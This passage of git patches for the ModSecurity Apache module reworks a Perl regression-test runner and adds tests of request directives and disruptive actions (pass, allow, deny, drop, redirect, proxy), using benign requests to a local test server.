} + + # Look for startup msg + unless (defined log_read_match("error", qr/resuming normal operations/, 10)) { + quit(1, "Httpd server failed to start."); + } + + return $rc; +} + +sub httpd_stop { + httpd_reset_logs(); + my @p = ( + $opt{a}, + -d => $opt{S}, + -f => $opt{C}, + (map { (-c => $_) } ("Listen $opt{p}", @_)), + -k => "stop", + ); + + #dbg("EXEC: ", \@p); +# dbg("Httpd stop"); + + my $httpd_out; + my $httpd_pid = open3(undef, $httpd_out, undef, @p) or quit(1); + my $out = join("\\n", split(/\n/, <$httpd_out>)); + close $httpd_out; + waitpid($httpd_pid, 0); + + if (defined $out and $out ne "") { + msg("Httpd stop failed with error messages:\n$out"); + return -1 + } + + my $rc = $?; + if ( WIFEXITED($rc) ) { + $rc = WEXITSTATUS($rc); +# dbg("Httpd stop returned with $rc."); + } + elsif( WIFSIGNALED($rc) ) { + msg("Httpd stop failed with signal " . WTERMSIG($rc) . "."); + $rc = -1; + } + else { + msg("Httpd stop failed with unknown error."); + $rc = -1; + } + + # Look for startup msg + unless (defined log_read_match("error", qr/caught SIG[A-Z]+, shutting down/, 10)) { + quit(1, "Httpd server failed to shutdown."); + } + + return $rc; +} + +sub httpd_reload { + httpd_reset_logs(); + my @p = ( + $opt{a}, + -d => $opt{S}, + -f => $opt{C}, + (map { (-c => $_) } ("Listen $opt{p}", @_)), + -k => "graceful", + ); + +# dbg("EXEC: ", join(' ', map { "'$_'" } @p)); +# dbg("Httpd reload"); + + my $httpd_out; + my $httpd_pid = open3(undef, $httpd_out, undef, @p) or quit(1); + my $out = join("\\n", split(/\n/, <$httpd_out>)); + close $httpd_out; + waitpid($httpd_pid, 0); + + if (defined $out and $out ne "") { + msg("Httpd reload failed with error messages:\n$out"); + return -1 + } + + my $rc = $?; + if ( WIFEXITED($rc) ) { + $rc = WEXITSTATUS($rc); +# dbg("Httpd reload returned with $rc."); + } + elsif( WIFSIGNALED($rc) ) { + msg("Httpd reload failed with signal " . WTERMSIG($rc) . "."); + $rc = -1; + } + else { + msg("Httpd reload failed with unknown error."); + $rc = -1; + } + + # Look for startup msg + unless (defined log_read_match("error", qr/resuming normal operations/, 10)) { + quit(1, "Httpd server failed to reload."); + } + + return $rc; +} + +sub httpd_reset_logs { + # Error + if (!defined $LOG{error}{fd}) { + $LOG{error}{fd} = new FileHandle($opt{E}, O_RDWR|O_CREAT) + } + $LOG{error}{fd}->blocking(0); + $LOG{error}{fd}->sysseek(0, 2); + $LOG{error}{buf} = ""; + + # Audit + if (!defined $LOG{audit}{fd}) { + $LOG{audit}{fd} = new FileHandle($opt{A}, O_RDWR|O_CREAT); + } + $LOG{audit}{fd}->blocking(0); + $LOG{audit}{fd}->sysseek(0, 2); + $LOG{audit}{buf} = ""; +} + diff --git a/apache2/t/run-tests.pl.in b/apache2/t/run-unit-tests.pl.in similarity index 100% rename from apache2/t/run-tests.pl.in rename to apache2/t/run-unit-tests.pl.in From 813127aa1326197fe4e39319fafa4a56614eb58b Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Thu, 22 May 2008 18:44:22 +0000 Subject: [PATCH 027/110] Added some basic regression tests. --- apache2/t/regression/config/00-load-modsec.t | 23 + .../regression/config/10-request-directives.t | 144 ++++++ .../t/regression/rule/00-disruptive-actions.t | 427 ++++++++++++++++++ apache2/t/run-regression-tests.pl.in | 81 +++- 4 files changed, 657 insertions(+), 18 deletions(-) create mode 100644 apache2/t/regression/config/00-load-modsec.t create mode 100644 apache2/t/regression/config/10-request-directives.t create mode 100644 apache2/t/regression/rule/00-disruptive-actions.t diff --git a/apache2/t/regression/config/00-load-modsec.t b/apache2/t/regression/config/00-load-modsec.t new file mode 100644 index 00000000..9c6ecc5f --- /dev/null +++ b/apache2/t/regression/config/00-load-modsec.t @@ -0,0 +1,23 @@ +{ + type => "config", + comment => "module loaded", + match_log => { + error => [ qr/ModSecurity for Apache.* configured\./, 10 ], + }, +}, +{ + type => "config", + comment => "minimal config", + conf => sub { + # Open the minimal conf file, substituting the + # relative log paths with full paths. + open(C, "<$ENV{DIST_ROOT}/modsecurity.conf-minimal") or die "$!\n"; + (my $conf = join('', <C>)) =~ s#Log logs/#Log $ENV{TEST_SERVER_ROOT}/logs/#g; + close C; + + return $conf; + }, + match_log => { + error => [ qr/ModSecurity for Apache.* configured\./, 10 ], + }, +}, diff --git a/apache2/t/regression/config/10-request-directives.t b/apache2/t/regression/config/10-request-directives.t new file mode 100644 index 00000000..ac27f371 --- /dev/null +++ b/apache2/t/regression/config/10-request-directives.t @@ -0,0 +1,144 @@ + +### SecArgumentSeparator +{ + type => "config", + comment => "SecArgumentSeparator (get-pos)", + conf => q( + SecRuleEngine On + SecArgumentSeparator ";" + SecRule ARGS:a "@streq 1" "phase:1,deny,chain" + SecRule ARGS:b "@streq 2" + ), + match_log => { + error => [ qr/Access denied with code 403 \(phase 1\). String match "2" at ARGS:b./, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt?a=1;b=2", + ), +}, +{ + type => "config", + comment => "SecArgumentSeparator (get-neg)", + conf => q( + SecRuleEngine On + SecRule ARGS:a "@streq 1" "phase:1,deny,chain" + SecRule ARGS:b "@streq 2" + ), + match_log => { + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt?a=1;b=2", + ), +}, +{ + type => "config", + comment => "SecArgumentSeparator (post-pos)", + conf => q( + SecRuleEngine On + SecRequestBodyAccess On + SecArgumentSeparator ";" + SecRule ARGS:a "@streq 1" "phase:2,deny,chain" + SecRule ARGS:b "@streq 2" + ), + match_log => { + error => [ qr/Access denied with code 403 \(phase 2\). String match "2" at ARGS:b./, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1;b=2", + ), +}, +{ + type => "config", + comment => "SecArgumentSeparator (post-neg)", + conf => q( + SecRuleEngine On + SecRequestBodyAccess On + SecRule ARGS:a "@streq 1" "phase:2,deny" + SecRule ARGS:b "@streq 2" "phase:2,deny" + ), + match_log => { + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1;b=2", + ), +}, + +### SecRequestBodyAccess +{ + type => "config", + comment => "SecRequestBodyAccess (pos)", + conf => qq( + SecRuleEngine On + SecAuditEngine On + SecAuditLogParts ABCDEFGHIJKZ + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecAuditLog $ENV{AUDIT_LOG} + SecRequestBodyAccess On + SecRule ARGS:a "\@streq 1" "phase:2,deny,chain" + SecRule ARGS:b "\@streq 2" + ), + match_log => { + error => [ qr/Access denied with code 403 \(phase 2\). String match "2" at ARGS:b./, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, +{ + type => "config", + comment => "SecRequestBodyAccess (neg)", + conf => qq( + SecRuleEngine On + SecAuditEngine On + SecAuditLogParts ABCDEFGHIJKZ + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecAuditLog $ENV{AUDIT_LOG} + SecRequestBodyAccess Off + SecRule ARGS:a "\@streq 1" "phase:2,deny" + SecRule ARGS:b "\@streq 2" "phase:2,deny" + ), + match_log => { + -error => [ qr/Access denied/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, diff --git a/apache2/t/regression/rule/00-disruptive-actions.t b/apache2/t/regression/rule/00-disruptive-actions.t new file mode 100644 index 00000000..a44d3721 --- /dev/null +++ b/apache2/t/regression/rule/00-disruptive-actions.t @@ -0,0 +1,427 @@ +### Pass +{ + type => "rule", + comment => "pass action in phase:1", + conf => qq( + SecRuleEngine On + SecAction "phase:1,pass" + SecAction "phase:1,deny" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction/, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "pass action in phase:2", + conf => qq( + SecRuleEngine On + SecAction "phase:2,pass" + SecAction "phase:2,deny" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction/, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "pass action in phase:3", + conf => qq( + SecRuleEngine On + SecAction "phase:3,pass" + SecAction "phase:3,deny" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction/, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "pass action in phase:4", + conf => qq( + SecRuleEngine On + SecAction "phase:4,pass" + SecAction "phase:4,deny" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction/, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +### Allow +{ + type => "rule", + comment => "allow action in phase:1", + conf => qq( + SecRuleEngine On + SecAction "phase:1,allow" + SecAction "phase:1,deny" + ), + match_log => { + error => [ qr/ModSecurity: Access allowed \(phase 1\). Unconditional match in SecAction/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "allow action in phase:2", + conf => qq( + SecRuleEngine On + SecAction "phase:2,allow" + SecAction "phase:2,deny" + ), + match_log => { + error => [ qr/ModSecurity: Access allowed \(phase 2\). Unconditional match in SecAction/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "allow action in phase:3", + conf => qq( + SecRuleEngine On + SecAction "phase:3,allow" + SecAction "phase:3,deny" + ), + match_log => { + error => [ qr/ModSecurity: Access allowed \(phase 3\). Unconditional match in SecAction/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "allow action in phase:4", + conf => qq( + SecRuleEngine On + SecAction "phase:4,allow" + SecAction "phase:4,deny" + ), + match_log => { + error => [ qr/ModSecurity: Access allowed \(phase 4\). Unconditional match in SecAction/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +### Deny +{ + type => "rule", + comment => "deny action in phase:1", + conf => qq( + SecRuleEngine On + SecAction "phase:1,deny" + ), + match_log => { + error => [ qr/Access denied with code 403 \(phase 1\). Unconditional match in SecAction./, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "deny action in phase:2", + conf => qq( + SecRuleEngine On + SecAction "phase:2,deny" + ), + match_log => { + error => [ qr/Access denied with code 403 \(phase 2\). Unconditional match in SecAction./, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "deny action in phase:3", + conf => qq( + SecRuleEngine On + SecAction "phase:3,deny" + ), + match_log => { + error => [ qr/Access denied with code 403 \(phase 3\). Unconditional match in SecAction./, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "deny action in phase:4", + conf => qq( + SecRuleEngine On + SecAction "phase:4,deny" + ), + match_log => { + error => [ qr/Access denied with code 403 \(phase 4\). Unconditional match in SecAction./, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +### Drop +{ + type => "rule", + comment => "drop action in phase:1", + conf => qq( + SecRuleEngine On + SecAction "phase:1,drop" + ), + match_log => { + error => [ qr/Access denied with connection close \(phase 1\). Unconditional match in SecAction./, 1 ], + }, + match_response => { + status => qr/^500$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "drop action in phase:2", + conf => qq( + SecRuleEngine On + SecAction "phase:2,drop" + ), + match_log => { + error => [ qr/Access denied with connection close \(phase 2\). Unconditional match in SecAction./, 1 ], + }, + match_response => { + status => qr/^500$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "drop action in phase:3", + conf => qq( + SecRuleEngine On + SecAction "phase:3,drop" + ), + match_log => { + error => [ qr/Access denied with connection close \(phase 3\). Unconditional match in SecAction./, 1 ], + }, + match_response => { + status => qr/^500$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "drop action in phase:4", + conf => qq( + SecRuleEngine On + SecAction "phase:4,drop" + ), + match_log => { + error => [ qr/Access denied with connection close \(phase 4\). Unconditional match in SecAction./, 1 ], + }, + match_response => { + status => qr/^500$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +### Redirect +{ + type => "rule", + comment => "redirect action in phase:1 (get)", + conf => qq( + SecRuleEngine On + SecRule REQUEST_URI "\@streq /test2.txt" "phase:1,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" + ), + match_log => { + error => [ qr/ModSecurity: Access denied with redirection to .* using status 302 \(phase 1\)/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, +{ + type => "rule", + comment => "redirect action in phase:2 (get)", + conf => qq( + SecRuleEngine On + SecRule REQUEST_URI "\@streq /test2.txt" "phase:2,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" + ), + match_log => { + error => [ qr/ModSecurity: Access denied with redirection to .* using status 302 \(phase 2\)/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, +{ + type => "rule", + comment => "redirect action in phase:3 (get)", + conf => qq( + SecRuleEngine On + SecRule REQUEST_URI "\@streq /test2.txt" "phase:3,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" + ), + match_log => { + error => [ qr/ModSecurity: Access denied with redirection to .* using status 302 \(phase 3\)/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, +{ + type => "rule", + comment => "redirect action in phase:4 (get)", + conf => qq( + SecRuleEngine On + SecRule REQUEST_URI "\@streq /test2.txt" "phase:4,redirect:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" + ), + match_log => { + error => [ qr/ModSecurity: Access denied with redirection to .* using status 302 \(phase 4\)/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, + +### Proxy +{ + type => "rule", + comment => "proxy action in phase:1 (get)", + conf => qq( + SecRuleEngine On + SecRule REQUEST_URI "\@streq /test2.txt" "phase:1,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" + ), + match_log => { + error => [ qr/ModSecurity: Access denied using proxy to \(phase 1\)/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, +{ + type => "rule", + comment => "proxy action in phase:2 (get)", + conf => qq( + SecRuleEngine On + SecRule REQUEST_URI "\@streq /test2.txt" "phase:2,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" + ), + match_log => { + error => [ qr/ModSecurity: Access denied using proxy to \(phase 2\)/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, +{ + type => "rule", + comment => "proxy action in phase:3 (get)", + conf => qq( + SecRuleEngine On + SecRule REQUEST_URI "\@streq /test2.txt" "phase:3,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" + ), + match_log => { + error => [ qr/ModSecurity: Access denied with code 500 \(phase 3\) \(Configuration Error: Proxy action requested but it does not work in output phases\)./, 1 ], + }, + match_response => { + status => qr/^500$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, +{ + type => "rule", + comment => "proxy action in phase:4 (get)", + conf => qq( + SecRuleEngine On + SecRule REQUEST_URI "\@streq /test2.txt" "phase:4,proxy:'http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt'" + ), + match_log => { + error => [ qr/ModSecurity: Access denied with code 500 \(phase 4\) \(Configuration Error: Proxy action requested but it does not work in output phases\)./, 1 ], + }, + match_response => { + status => qr/^500$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test2.txt", + ), +}, diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index 460efb15..e515929d 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -1,4 +1,3 @@ -#!/usr/bin/perl #!@PERL@ # # Run regression tests. @@ -71,7 +70,7 @@ EOT usage() if ($opt{h}); ### Check startup script -$opt{a} = "apachectl" unless (defined $opt{a}); +$opt{a} = "httpd" unless (defined $opt{a}); usage("Invalid Apache startup script: $opt{a}\n") unless (-e $opt{a}); ### Defaults @@ -181,7 +180,7 @@ sub runfile { } if ($httpd_up) { - # Perform the request + # Perform the request and check response if (exists $t{request}) { my $resp = do_request($t{request}); if (!$resp) { @@ -189,21 +188,45 @@ sub runfile { dbg("RESPONSE: ", $resp); $rc = 1; } - elsif (exists $t{match_response}{status}) { - unless ($resp->code =~ m/$t{match_response}{status}/) { - msg("incorrect status code " . $resp->code . ": $t{match_response}{status}"); - $rc = 1; + else { + for my $key (keys %{ $t{match_response} || {}}) { + my($neg,$mtype) = ($key =~ m/^(-?)(.*)$/); + my $m = $t{match_response}{$key}; + my $match = match_response($mtype, $resp, $m); + if ($neg and defined $match) { + $rc = 1; + msg("response $mtype matched: $m"); + dbg("$LOG{$mtype}{buf}"); + + last; + } + elsif (!$neg and !defined $match) { + $rc = 1; + msg("response $mtype no match: $m"); + dbg("$LOG{$mtype}{buf}"); + last; + } } } } # Search for all log matches if ($rc == 0 and exists $t{match_log} and defined $t{match_log}) { - for my $mtype (keys %{ $t{match_log} || {}}) { - my $m = $t{match_log}{$mtype}; - unless (defined log_read_match($mtype, @{$m || []})) { + for my $key (keys %{ $t{match_log} || {}}) { + my($neg,$mtype) = ($key =~ m/^(-?)(.*)$/); + my $m = $t{match_log}{$key}; + my $match = match_log($mtype, @{$m || []}); + if ($neg and defined $match) { $rc = 1; - msg("$mtype log match failed: $m->[0]"); + msg("$mtype log matched: $m->[0]"); + dbg("$LOG{$mtype}{buf}"); + + last; + } + elsif (!$neg and !defined $match) { + $rc = 1; + msg("$mtype log no match: $m->[0]"); + dbg("$LOG{$mtype}{buf}"); last; } } @@ -251,12 +274,30 @@ sub do_request { return; } -sub log_read_match { + +sub match_response { + my($name, $resp, $re) = @_; + + msg("Warning: Empty regular expression.") if (!defined $re or $re eq ""); + + if ($name eq "status") { + return $@ if ($resp->code =~ m/$re/m); + } + elsif ($name eq "content") { + return $@ if ($resp->content =~ m/$re/m); + } + + return; +} + +sub match_log { my($name, $re, $timeout) = @_; my $t0 = gettimeofday(); my($fh,$rbuf) = ($LOG{$name}{fd}, \$LOG{$name}{buf}); my $n = length($$rbuf); + msg("Warning: Empty regular expression.") if (!defined $re or $re eq ""); + $timeout = 0 unless (defined $timeout); do { @@ -267,7 +308,7 @@ sub log_read_match { sleep 0.1; } while (gettimeofday - $t0 < $timeout); - return undef; + return; } sub escape { @@ -288,7 +329,11 @@ sub dbg { } sub msg { - print STDOUT "@_\n" if (@_); + return unless(@_); + my $out = join "", map { + (ref $_ ne "" ? Dumper($_) : $_) + } @_; + print STDOUT "$out\n"; } sub quit { @@ -321,7 +366,7 @@ sub httpd_start { -k => "start", ); - #dbg("EXEC: ", \@p); +# dbg("EXEC: ", \@p); # dbg("Httpd start"); my $httpd_out; @@ -350,7 +395,7 @@ sub httpd_start { } # Look for startup msg - unless (defined log_read_match("error", qr/resuming normal operations/, 10)) { + unless (defined match_log("error", qr/resuming normal operations/, 10)) { quit(1, "Httpd server failed to start."); } @@ -396,7 +441,7 @@ sub httpd_stop { } # Look for startup msg - unless (defined log_read_match("error", qr/caught SIG[A-Z]+, shutting down/, 10)) { + unless (defined match_log("error", qr/caught SIG[A-Z]+, shutting down/, 10)) { quit(1, "Httpd server failed to shutdown."); } @@ -442,7 +487,7 @@ sub httpd_reload { } # Look for startup msg - unless (defined log_read_match("error", qr/resuming normal operations/, 10)) { + unless (defined match_log("error", qr/resuming normal operations/, 10)) { quit(1, "Httpd server failed to reload."); } From 29cd97b24c06d020be3c716f67cf049b55feb50d Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Thu, 22 May 2008 20:37:49 +0000 Subject: [PATCH 028/110] Reorg. --- apache2/t/regression/{rule => action}/00-disruptive-actions.t | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename apache2/t/regression/{rule => action}/00-disruptive-actions.t (100%) diff --git a/apache2/t/regression/rule/00-disruptive-actions.t b/apache2/t/regression/action/00-disruptive-actions.t similarity index 100% rename from apache2/t/regression/rule/00-disruptive-actions.t rename to apache2/t/regression/action/00-disruptive-actions.t From 59629a6aff92fb6bc16309d298f242df89edb298 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 23 May 2008 16:30:18 +0000 Subject: [PATCH 029/110] Add/update regression tests. --- .../regression/action/00-disruptive-actions.t | 48 ++--- .../regression/config/10-request-directives.t | 189 ++++++++++++++++-- apache2/t/run-regression-tests.pl.in | 99 +++++++-- 3 files changed, 280 insertions(+), 56 deletions(-) diff --git a/apache2/t/regression/action/00-disruptive-actions.t b/apache2/t/regression/action/00-disruptive-actions.t index a44d3721..6cae4a3f 100644 --- a/apache2/t/regression/action/00-disruptive-actions.t +++ b/apache2/t/regression/action/00-disruptive-actions.t @@ -1,6 +1,6 @@ ### Pass { - type => "rule", + type => "action", comment => "pass action in phase:1", conf => qq( SecRuleEngine On @@ -18,7 +18,7 @@ ), }, { - type => "rule", + type => "action", comment => "pass action in phase:2", conf => qq( SecRuleEngine On @@ -36,7 +36,7 @@ ), }, { - type => "rule", + type => "action", comment => "pass action in phase:3", conf => qq( SecRuleEngine On @@ -54,7 +54,7 @@ ), }, { - type => "rule", + type => "action", comment => "pass action in phase:4", conf => qq( SecRuleEngine On @@ -74,7 +74,7 @@ ### Allow { - type => "rule", + type => "action", comment => "allow action in phase:1", conf => qq( SecRuleEngine On @@ -92,7 +92,7 @@ ), }, { - type => "rule", + type => "action", comment => "allow action in phase:2", conf => qq( SecRuleEngine On @@ -110,7 +110,7 @@ ), }, { - type => "rule", + type => "action", comment => "allow action in phase:3", conf => qq( SecRuleEngine On @@ -128,7 +128,7 @@ ), }, { - type => "rule", + type => "action", comment => "allow action in phase:4", conf => qq( SecRuleEngine On @@ -148,7 +148,7 @@ ### Deny { - type => "rule", + type => "action", comment => "deny action in phase:1", conf => qq( SecRuleEngine On @@ -165,7 +165,7 @@ ), }, { - type => "rule", + type => "action", comment => "deny action in phase:2", conf => qq( SecRuleEngine On @@ -182,7 +182,7 @@ ), }, { - type => "rule", + type => "action", comment => "deny action in phase:3", conf => qq( SecRuleEngine On @@ -199,7 +199,7 @@ ), }, { - type => "rule", + type => "action", comment => "deny action in phase:4", conf => qq( SecRuleEngine On @@ -218,7 +218,7 @@ ### Drop { - type => "rule", + type => "action", comment => "drop action in phase:1", conf => qq( SecRuleEngine On @@ -235,7 +235,7 @@ ), }, { - type => "rule", + type => "action", comment => "drop action in phase:2", conf => qq( SecRuleEngine On @@ -252,7 +252,7 @@ ), }, { - type => "rule", + type => "action", comment => "drop action in phase:3", conf => qq( SecRuleEngine On @@ -269,7 +269,7 @@ ), }, { - type => "rule", + type => "action", comment => "drop action in phase:4", conf => qq( SecRuleEngine On @@ -288,7 +288,7 @@ ### Redirect { - type => "rule", + type => "action", comment => "redirect action in phase:1 (get)", conf => qq( SecRuleEngine On @@ -305,7 +305,7 @@ ), }, { - type => "rule", + type => "action", comment => "redirect action in phase:2 (get)", conf => qq( SecRuleEngine On @@ -322,7 +322,7 @@ ), }, { - type => "rule", + type => "action", comment => "redirect action in phase:3 (get)", conf => qq( SecRuleEngine On @@ -339,7 +339,7 @@ ), }, { - type => "rule", + type => "action", comment => "redirect action in phase:4 (get)", conf => qq( SecRuleEngine On @@ -358,7 +358,7 @@ ### Proxy { - type => "rule", + type => "action", comment => "proxy action in phase:1 (get)", conf => qq( SecRuleEngine On @@ -375,7 +375,7 @@ ), }, { - type => "rule", + type => "action", comment => "proxy action in phase:2 (get)", conf => qq( SecRuleEngine On @@ -392,7 +392,7 @@ ), }, { - type => "rule", + type => "action", comment => "proxy action in phase:3 (get)", conf => qq( SecRuleEngine On @@ -409,7 +409,7 @@ ), }, { - type => "rule", + type => "action", comment => "proxy action in phase:4 (get)", conf => qq( SecRuleEngine On diff --git a/apache2/t/regression/config/10-request-directives.t b/apache2/t/regression/config/10-request-directives.t index ac27f371..b951676d 100644 --- a/apache2/t/regression/config/10-request-directives.t +++ b/apache2/t/regression/config/10-request-directives.t @@ -10,7 +10,7 @@ SecRule ARGS:b "@streq 2" ), match_log => { - error => [ qr/Access denied with code 403 \(phase 1\). String match "2" at ARGS:b./, 1 ], + error => [ qr/Access denied with code 403 \(phase 1\)\. String match "2" at ARGS:b\./, 1 ], }, match_response => { status => qr/^403$/, @@ -48,7 +48,7 @@ SecRule ARGS:b "@streq 2" ), match_log => { - error => [ qr/Access denied with code 403 \(phase 2\). String match "2" at ARGS:b./, 1 ], + error => [ qr/Access denied with code 403 \(phase 2\)\. String match "2" at ARGS:b\./, 1 ], }, match_response => { status => qr/^403$/, @@ -91,17 +91,12 @@ comment => "SecRequestBodyAccess (pos)", conf => qq( SecRuleEngine On - SecAuditEngine On - SecAuditLogParts ABCDEFGHIJKZ - SecDebugLog $ENV{DEBUG_LOG} - SecDebugLogLevel 9 - SecAuditLog $ENV{AUDIT_LOG} SecRequestBodyAccess On SecRule ARGS:a "\@streq 1" "phase:2,deny,chain" SecRule ARGS:b "\@streq 2" ), match_log => { - error => [ qr/Access denied with code 403 \(phase 2\). String match "2" at ARGS:b./, 1 ], + error => [ qr/Access denied with code 403 \(phase 2\)\. String match "2" at ARGS:b\./, 1 ], }, match_response => { status => qr/^403$/, @@ -119,11 +114,6 @@ comment => "SecRequestBodyAccess (neg)", conf => qq( SecRuleEngine On - SecAuditEngine On - SecAuditLogParts ABCDEFGHIJKZ - SecDebugLog $ENV{DEBUG_LOG} - SecDebugLogLevel 9 - SecAuditLog $ENV{AUDIT_LOG} SecRequestBodyAccess Off SecRule ARGS:a "\@streq 1" "phase:2,deny" SecRule ARGS:b "\@streq 2" "phase:2,deny" @@ -142,3 +132,176 @@ "a=1&b=2", ), }, + +### SecRequestBodyLimit +{ + type => "config", + comment => "SecRequestBodyLimit (equal)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecRequestBodyLimit 7 + ), + match_log => { + -error => [ qr/Request body is larger than the configured limit/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, +{ + type => "config", + comment => 